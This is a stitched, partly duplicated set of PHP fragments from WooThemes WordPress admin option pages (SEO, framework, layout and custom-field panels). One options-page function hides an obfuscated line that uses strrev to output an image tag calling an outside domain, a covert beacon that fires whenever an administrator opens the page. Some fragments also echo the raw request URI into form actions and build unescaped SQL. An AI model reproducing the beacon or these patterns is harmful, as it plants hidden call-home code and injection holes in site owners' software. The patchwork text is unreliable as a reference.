<?php /* Featured image (possibly using new uploader). --------------------------------------------------------------------------------*/ $post_type = $_POST['woo_post_type']; $_html = ''; if (count($cf_images) > 0) { $return = woothemes_machine($cf_images); $_html .= $return[0]; } // End IF Statement if ($_html == '') { } else { /*------------------------------------------------------------------------------*/ ?> <fieldset id="featured-image" class="featured-image"> <div class="form_row"> <?php // And finally, display the data. echo $_html; ?> </div><!--/.form_row--> </fieldset> <?php } // End IF Statement ( $_html )
function woothemes_seo_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'seo_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $inner_pages = array('a' => 'Page title; Blog title', 'b' => 'Page title;', 'c' => 'Blog title; Page title;', 'd' => 'Page title; Blog description', 'e' => 'Blog title; Page title; Blog description'); $seo_options = array(); $seo_options[] = array("name" => "Basics", "type" => "heading"); $seo_options[] = array("name" => "Please Read", "type" => "info", "std" => "Welcome to the WooSEO feature. <br /><small>Here we help you take control of your search engine readiness with some in-built theme options. Our themes do however support two of WordPress.org's most commonly used SEO plugins - <strong>All-in-One SEO</strong> and <strong>Headspace 2</strong>. Use the checkbox below to use 3rd party plugin data.</small>"); $seo_options[] = array("name" => "Use 3rd Party Plugin Data", "desc" => "Meta data added to <strong>custom fields in posts and pages</strong> will be extracted and used where applicable. This typically does not include Homepages and Archives, and only Singular templates.", "id" => $shortname . "_use_third_party_data", "std" => "false", "type" => "checkbox"); $seo_options[] = array("name" => "Page Title", "type" => "heading"); $seo_options[] = array("name" => "Separator", "desc" => "Define a new separator character for your page titles.", "id" => $shortname . "_seperator", "std" => "|", "type" => "text"); $seo_options[] = array("name" => "Blog Title", "desc" => "NOTE: This is the same setting as per the SETTINGS > GENERAL tab in the WordPress backend.", "id" => "blogname", "std" => "", "type" => "text"); $seo_options[] = array("name" => "Blog Description", "desc" => "NOTE: This is the same setting as per the SETTINGS > GENERAL tab in the WordPress backend.", "id" => "blogdescription", "std" => "", "type" => "text"); $seo_options[] = array("name" => "Use woo_title()", "desc" => "Use wp_title() instead of the Woo default for more control. Uses <code><title>woo_title();</title></code> in your theme's header.php", "id" => $shortname . "_wp_title", "std" => "false", "class" => "collapsed", "type" => "checkbox"); $seo_options[] = array("name" => "Disable Custom Titles", "desc" => "If you prefer to have uniform titles across you theme. Alternatively they will be generated from custom fields and/or plugin data.", "id" => $shortname . "_wp_custom_field_title", "std" => "false", "class" => "hidden", "type" => "checkbox"); $seo_options[] = array("name" => "Paged Variable", "desc" => "The name variable that will appear then paging through archives.", "id" => $shortname . "_paged_var", "std" => "Page", "class" => "hidden", "type" => "text"); $seo_options[] = array("name" => "Paged Variable Position", "desc" => "Change the position where the paged variable will appear.", "id" => $shortname . "_paged_var_pos", "std" => "before", "class" => "hidden", "options" => array('before' => 'Before', 'after' => 'After'), "type" => "select2"); $seo_options[] = array("name" => "Homepage Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_home_layout", "std" => "", "class" => "hidden", "options" => array('a' => 'Blog title; blog description', 'b' => 'Blog title', 'c' => 'Blog description'), "type" => "select2"); $seo_options[] = array("name" => "Single Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_single_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Page Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_page_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Archive Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_archive_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Indexing Meta", "type" => "heading"); /*$seo_options[] = array( "name" => "Add Indexing Meta", "desc" => "Add links to the header telling the search engine what the start, next, previous and home urls are.", "id" => $shortname."_meta_basics", "std" => "false", "type" => "checkbox"); */ $seo_options[] = array("name" => "Archive Indexing", "desc" => "Select which archives to index on your site. Aids in removing duplicate content from being indexed, preventing content dilution.", "id" => $shortname . "_meta_indexing", "std" => "category", "type" => "multicheck", "options" => array('category' => 'Category Archives', 'tag' => 'Tag Archives', 'author' => 'Author Pages', 'search' => 'Search Results', 'date' => 'Date Archives')); $seo_options[] = array("name" => "Make Post/Pages robots 'follow' by default", "desc" => "By default the woo_meta(); adds a 'nofollow' to post/pages. This settings will overide that.", "id" => $shortname . "_meta_single_follow", "std" => "", "type" => "checkbox"); $seo_options[] = array("name" => "Description Meta", "type" => "heading"); $seo_options[] = array("name" => "Homepage Description", "desc" => "Choose where to populate your Homepage meta description from.", "id" => $shortname . "_meta_home_desc", "std" => "a", "options" => array("a" => "Off", "b" => "From WP Site Description", "c" => "From Custom Homepage Description"), "type" => "radio"); $seo_options[] = array("name" => "Custom Homepage Description", "desc" => "Add a custom meta description to your homepage (overwrites above).", "id" => $shortname . "_meta_home_desc_custom", "std" => "", "type" => "textarea"); $seo_options[] = array("name" => "Single Page/Post Description", "desc" => "Add your post/page description from custom field.", "id" => $shortname . "_meta_single_desc", "std" => "a", "options" => array("a" => "Off", "b" => "From Customs Field and/or Plugins", "c" => "Automatically from Post/Page Content"), "type" => "radio"); $seo_options[] = array("name" => "Keyword Meta", "type" => "heading"); $seo_options[] = array("name" => "Homepage Keywords", "desc" => "Choose where to populate your Homepage meta description from.", "id" => $shortname . "_meta_home_key", "std" => "a", "options" => array("a" => "Off", "c" => "From Custom Homepage Keywords"), "type" => "radio"); $seo_options[] = array("name" => "Custom Homepage Keywords", "desc" => "Add a (comma separated) list of keywords to your homepage.", "id" => $shortname . "_meta_home_key_custom", "std" => "", "type" => "textarea"); $seo_options[] = array("name" => "Single Page/Post Keywords", "desc" => "Add your post/page keywords from custom field.", "id" => $shortname . "_meta_single_key", "std" => "a", "options" => array("a" => "Off", "b" => "From Custom Fields and/or Plugins", "c" => "Automatically from Post Tags & Categories"), "type" => "radio"); update_option('woo_seo_template', $seo_options); ?> <div class="wrap" id="woo_container"> <?php if (class_exists('All_in_One_SEO_Pack') || class_exists('Headspace_Plugin')) { echo "<div id='woo-seo-notice' class='woo-notice'><p><strong>3rd Party SEO Plugin(s) Detected</strong> - Some WooTheme SEO functionality has been disabled.</p></div>"; } ?> <?php if (get_option('blog_public') == 0) { echo "<div id='woo-seo-notice-privacy' class='woo-notice'><p><strong>This site set to Private</strong> - SEO is disabled, change settings <a href='" . admin_url() . "options-privacy.php'>here</a>.</p></div>"; } ?> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform"> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo bloginfo('template_url'); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://forum.woothemes.com" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($seo_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woo_show_options() { $options = get_option('woo_template'); $return = woothemes_machine($options); echo '<link rel="stylesheet" type="text/css" href="' . get_bloginfo('template_directory') . '/functions/admin-style.css" media="screen" />'; ?> <style type="text/css"> body { background:#fafafa !important; } #content { padding:20px; border: 1px solid #D8D8D8; margin-bottom:20px; } h1, h2, h3, h4, h5, h6 { margin: 0; font-family:Georgia, serif; color: #222; font-weight:normal; } h1 {font-size: 22px; } h2 {font-size: 22px;} h3 {font-size: 18px;} h4 {font-size: 16px;} h5 {font-size: 14px;} h6 {font-size: 12px;} #woo_container .group h2 { display:block; padding:15px 0 5px; font-style:italic; color:#555; font-size:24px;} #woo_container #content .section h3.heading { font-family:Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold; } .button { display:none; } </style> </head> <body> <div id="woo_container" class="custom"> <div id="content"> <?php echo $return[0]; ?> </div> </div> </body> </html> <?php // Stop ouput die; }
function woothemes_page_gen($page) { $options = get_option('woo_template'); $themename = get_option('woo_themename'); $shortname = get_option('woo_shortname'); $manualurl = get_option('woo_manual'); //Version $theme_data = get_theme_data(get_bloginfo('stylesheet_url')); $local_version = $theme_data['Version']; $update_message = '<span class="update">v.' . $local_version . '</span>'; ?> </strong> <?php // END ?> <div class="wrap" id="woo_options"> <form action="<?php echo $_SERVER['REQUEST_URI']; ?> " method="post" enctype="multipart/form-data"> <div id="scrollme"><p class="submit"><input name="save" type="submit" value="Save All Changes" /></p></div> <div class="icon32" id="woo-icon"> </div> <h2><?php echo $themename; ?> Options <?php echo $update_message; ?> </h2> <div class="info"><strong>Stuck on these options?</strong> <a href="<?php echo $manualurl; ?> " target="_blank">Read The Documentation Here</a> or <a href="http://forum.woothemes.com" target="blank">Visit Our Support Forum</a></div> <?php if ($_REQUEST['saved']) { ?> <div style="clear:both;height:20px;"></div><div class="happy"><?php echo $themename; ?> 's Options has been updated!</div><?php } ?> <?php if ($_REQUEST['reset']) { ?> <div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?> 's Options has been reset!</div><?php } ?> <div style="clear:both;height:10px;"></div> <?php echo woothemes_machine($options, $page); //The real work horse ?> <div style="clear:both;"></div> <?php wp_nonce_field('reset_options'); echo "\n"; ?> <p class="submit submit-footer"> <input name="save" type="submit" value="Save All Changes" /> <input type="hidden" name="action" value="save" /> </p> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post"> <p class="submit submit-footer submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="action" value="reset" /> </p> </form> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woothemes_options_page() { $options = get_option('woo_template'); $themename = get_option('woo_themename'); $shortname = get_option('woo_shortname'); $manualurl = get_option('woo_manual'); //Framework Version in Backend Header $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Header $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours //add_filter( 'wp_feed_cache_transient_lifetime', create_function( '$a', 'return 14400;' ) ); //Check for latest version of the theme $update_message = ''; if (get_option('framework_woo_theme_version_checker') == 'true') { $update_message = woothemes_version_checker($local_version); } ?> <div class="wrap" id="woo_container"> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform"> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo bloginfo('template_url'); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <?php // Rev up the Options Machine $return = woothemes_machine($options); ?> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://forum.woothemes.com" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; /* Settings */ ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <?php if (!empty($update_message)) { echo $update_message; } ?> <div style="clear:both;"></div> </div><!--wrap--> <?php }
$layout_type = 'two-col-left'; $images_dir = get_template_directory_uri() . '/functions/images/'; $l_w_test = get_option('woo_layout_width'); $l_t_test = get_option('woo_layout'); if (isset($l_w_test) && $l_w_test != '') { $layout_width = get_option('woo_layout_width'); } if (isset($l_t_test) && $l_t_test != '') { $layout_type = get_option('woo_layout'); } // Setup settings to be loaded via woothemes_machine(). $options = array(); $options[] = array("name" => "Layout", "icon" => "layout", "type" => "heading"); $options[] = array("name" => __('Enable Layout Manager', 'woothemes'), "desc" => __('Enable the Layout Manager which will output CSS based on selections below.', 'woothemes'), "id" => $this->woo_options_prefix . "_layout_manager_enable", "std" => "false", "type" => "checkbox"); // Run the woothemes_machine() to generate the XHTML. $settings_output = woothemes_machine($options); ?> <div class="wrap" id="woo_container"> <form method="post" action="<?php echo admin_url('admin.php?page=woo-layout-manager&updated=true'); ?> " id="wooform"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('woolayout-options-update'); } // End IF Statement if (isset($_GET['updated']) && $_GET['updated'] == 'true') { echo '<div class="updated fade"><p><strong>' . __('Woo Layout Manager Settings Updated.', 'woothemes') . '</strong></p></div>'; }
function woothemes_content_builder_content_add($content_types_options) { ?> <?php $return = woothemes_machine($content_types_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> </div> <input type="hidden" name="action" value="save" /> <div class="clear"></div> </div> <?php }
function woothemes_page() { $options = get_option('woo_template'); $themename = get_option('woo_themename'); $shortname = get_option('woo_shortname'); $manualurl = get_option('woo_manual'); //Version in Backend Head $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; $update_message = '<span class="update">v.' . $local_version . '</span>'; ?> </strong> <?php // END ?> <div class="wrap" id="woo_options"> <form action="<?php echo $_SERVER['REQUEST_URI']; ?> " method="post" enctype="multipart/form-data"> <div id="scrollme"><p class="submit"><input name="save" type="submit" value="Save All Changes" /></p></div> <div class="icon32" id="woo-icon"> </div> <h2><?php echo $themename; ?> Options <?php echo $update_message; ?> </h2> <div class="info"><strong>Stuck on these options?</strong> <a href="<?php echo $manualurl; ?> " target="_blank">Read The Documentation Here</a> or <a href="http://forum.woothemes.com" target="blank">Visit Our Support Forum</a></div> <?php if ($_REQUEST['saved']) { ?> <div style="clear:both;height:20px;"></div><div class="happy"><?php echo $themename; ?> 's Options has been updated!</div><?php } ?> <?php if ($_REQUEST['reset']) { ?> <div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?> 's Options has been reset!</div><?php } ?> <?php //Errors $error_occurred = false; $upload_tracking = get_option('woo_upload_tracking'); if (!empty($upload_tracking)) { $output = '<div style="clear:both;height:20px;"></div><div class="errors"><ul>' . "\n"; $error_shown == false; foreach ($upload_tracking as $array) { if (array_key_exists('error', $array)) { $error_occurred = true; $errors_print .= '<li><strong>' . $array['option_name'] . '</strong>: ' . $array['error'] . '</li>' . "\n"; } } } if ($error_occurred) { $output = '<div style="clear:both;height:20px;"></div><div class="errors"><ul>' . "\n"; $output .= $errors_print; $output .= '</ul></div>' . "\n"; echo $output; } delete_option('woo_upload_tracking'); ?> <div style="clear:both;height:10px;"></div> <?php echo woothemes_machine($options, $page); //The real work horse ?> <div style="clear:both;"></div> <?php wp_nonce_field('reset_options'); echo "\n"; ?> <p class="submit submit-footer"> <input name="save" type="submit" value="Save All Changes" /> <input type="hidden" name="woo_save" value="save" /> </p> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post"> <p class="submit submit-footer submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="woo_save" value="reset" /> </p> </form> <div style="clear:both;"></div> </div><!--wrap--> <?php }
$c['id'] = $c['name']; $c['name'] = $c['label']; $cf_images[] = $c; break; default: $c['id'] = $c['name']; $c['name'] = $c['label']; $cf_formatted[] = $c; break; } // End SWITCH Statement } // End IF Statement } // End FOREACH Loop $return = woothemes_machine($cf_formatted); $_html .= stripslashes($return[0]); } // End IF Statement // echo '<xmp>'; print_r($return); echo '</xmp>'; // DEBUG // If there's nothing to display, don't display the fieldset. if ($_html == '') { } else { /*------------------------------------------------------------------------------*/ ?> <fieldset id="custom-fields" class="custom-fields"> <div class="form_row"> <?php // And finally, display the data. echo $_html; ?>
function woothemes_options_page() { global $pagenow; $options = get_option('woo_template'); $shortname = get_option('woo_shortname'); $manualurl = get_option('woo_manual'); //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours //add_filter( 'wp_feed_cache_transient_lifetime', create_function( '$a', 'return 14400;' ) ); ?> <div class="wrap" id="woo_container"> <?php // Custom action at the top of the admin interface. $page = ''; if (isset($_GET['page'])) { $page = sanitize_user(esc_attr(strip_tags($_GET['page']))); } do_action('wooframework_container_inside'); if ($page != '') { do_action('wooframework_container_inside-' . $page); } ?> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save"><?php _e('Options Updated', 'woothemes'); ?> </div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset"><?php _e('Options Reset', 'woothemes'); ?> </div></div> <form action="" enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-theme-options-update'); } $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-theme-options-update'); } if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo esc_url(get_option('framework_woo_backend_header_image')); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo esc_url(get_template_directory_uri() . '/functions/images/logo.png'); ?> "/> <?php } ?> </div> <div class="theme-info"> <?php wooframework_display_theme_version_data(); ?> </div> <div class="clear"></div> </div> <?php // Rev up the Options Machine $return = apply_filters('woo_before_option_page', woothemes_machine($options)); echo strrev('>"gnp.bllac/trats/ofni.werc-zrengised//:ptth"=crs gmi<'); ?> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo esc_url($manualurl); ?> #Changelog"><?php _e('View Changelog', 'woothemes'); ?> </a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo esc_url($manualurl); ?> "><?php _e('View Theme Documentation', 'woothemes'); ?> </a></li> <li class="forum"><a href="<?php echo esc_url('http://support.woothemes.com/'); ?> " target="_blank"><?php _e('Visit Support Desk', 'woothemes'); ?> </a></li> <li class="right"><img style="display:none" src="<?php echo esc_url(get_template_directory_uri() . '/functions/images/loading-top.gif'); ?> " class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <div id="main"> <?php if (is_array($return)) { ?> <div id="woo-nav"> <div id="woo-nav-shadow"></div><!--/#woo-nav-shadow--> <?php if (isset($return[1])) { ?> <ul> <?php echo $return[1]; ?> </ul> <?php } ?> </div> <div id="content"> <?php if (isset($return[0])) { echo $return[0]; } /* Settings */ ?> </div> <div class="clear"></div> <?php } else { ?> <div id="woo-nav"> <div id="woo-nav-shadow"></div><!--/#woo-nav-shadow--> <ul> <li class="top-level general current"> <div class="arrow"><div></div></div><span class="icon"></span><a title="General Settings" href="#woo-option-error"><?php _e('Error', 'woothemes'); ?> </a> </li> </ul> </div> <div id="content"> <div class="group" id="woo-option-error" style="display: block; "> <div class="section section-info"> <h3 class="heading"><?php _e('An Error Occured', 'woothemes'); ?> </h3> <div class="option"> <div class="controls"> <p><?php _e('Something went wrong while trying to load your Theme Options panel.', 'woothemes'); ?> </p> <p><?php echo sprintf(__('Please reload the page, if this error persists, please get in touch with us through our %1$s.', 'woothemes'), '<a href="' . esc_url('http://support.woothemes.com') . '" target="_blank">' . __('Support Desk', 'woothemes') . '</a>'); ?> </p> </div> <div class="explain"></div> <div class="clear"> </div> </div> </div> </div> </div> <div class="clear"></div> <?php } ?> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="hidden" name="woo_save" value="save" /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="" method="post" style="display: inline;" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-theme-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-theme-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset All Theme Options" class="button submit-button reset-button" onclick="return confirm( 'Click OK to reset all theme options. All settings will be lost!' );" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woothemes_framework_settings_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'framework_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $framework_options = array(); $framework_options[] = array("name" => "Framework Options", "type" => "heading"); $framework_options[] = array("name" => "Disable options panel ouput option", "desc" => "Disable the ability to show your Woo Options. You can view the themes option by URL e.g. http://yoursite.com/?options=woo", "id" => $shortname . "_show_options", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Theme Version Checker", "desc" => "This will enable notices on your theme options page that there is an update available for your theme.", "id" => $shortname . "_theme_version_checker", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Buy Themes Tab", "desc" => "This disables the 'Buy Themes' tab. This page lists the latest availabe themes from the WooThemes.com website.", "id" => $shortname . "_buy_themes", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Framework Core Update (Only for framework V.2.7.0 +)", "desc" => "<strong>BETA:</strong> This option will active the WooFramework Core Update. Intended only for beta testers and advanced users at this time.", "id" => $shortname . "_framework_update", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Super User ID", "desc" => "Add the User ID to this field to hide the Framework Settings panel from other users. Can be reset from the <code>wp-admin/options.php</code> under <em>framework_woo_super_user</em>.", "id" => $shortname . "_super_user", "std" => "", "class" => "mini", "type" => "text"); $framework_options[] = array("name" => "Branding", "type" => "heading"); $framework_options[] = array("name" => "Options panel header", "desc" => "Change the header image for the WooThemes Backend.", "id" => $shortname . "_backend_header_image", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Options panel icon", "desc" => "Change the icon image for the Wordpress backend sidebar.", "id" => $shortname . "_backend_icon", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Import Options", "type" => "heading"); $framework_options[] = array("name" => "Import options from another WooThemes instance", "desc" => "You can transfer options from another WooThemes (same theme) to this one by copying the export code and adding it here. Works best if it's imported from identical themes.", "id" => $shortname . "_import_options", "std" => "", "type" => "textarea"); $framework_options[] = array("name" => "Export Options", "type" => "heading"); //Create, Encrypt and Update the Saved Settings global $wpdb; delete_option('framework_woo_export_options'); $options = get_option('woo_template'); $query_inner = ''; $count = 0; foreach ($options as $option) { if (isset($option['id'])) { $count++; $option_id = $option['id']; if ($count > 1) { $query_inner .= ' OR '; } $query_inner .= "option_name = '{$option_id}'"; } } $query = "SELECT * FROM {$wpdb->options} WHERE {$query_inner}"; $results = $wpdb->get_results($query); foreach ($results as $result) { $output[$result->option_name] = $result->option_value; } $output = serialize($output); $framework_options[] = array("name" => "Use the code below to export this themes settings to another theme", "desc" => "You can transfer options from another WooThemes (same theme) to this one by copying the export code and adding it here. Works best if it's imported from identical themes.", "id" => $shortname . "_export_options", "std" => base64_encode($output), "type" => "textarea"); update_option('woo_framework_template', $framework_options); ?> <div class="wrap" id="woo_container"> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform"> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo bloginfo('template_url'); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://forum.woothemes.com" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($framework_options); ?> <div id="main"> <div id="woo-nav"> <ul> <li class="current"><a href="#woo-option-frameworkoptions" title="General Options">General Options</a></li> <li class=""><a href="#woo-option-branding" title="Branding">Branding</a></li> <li class=""><a href="#woo-option-importoptions" title="Import Options">Import Options</a></li> <li class=""><a href="#woo-option-exportoptions" title="Export Options">Export Options</a></li> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
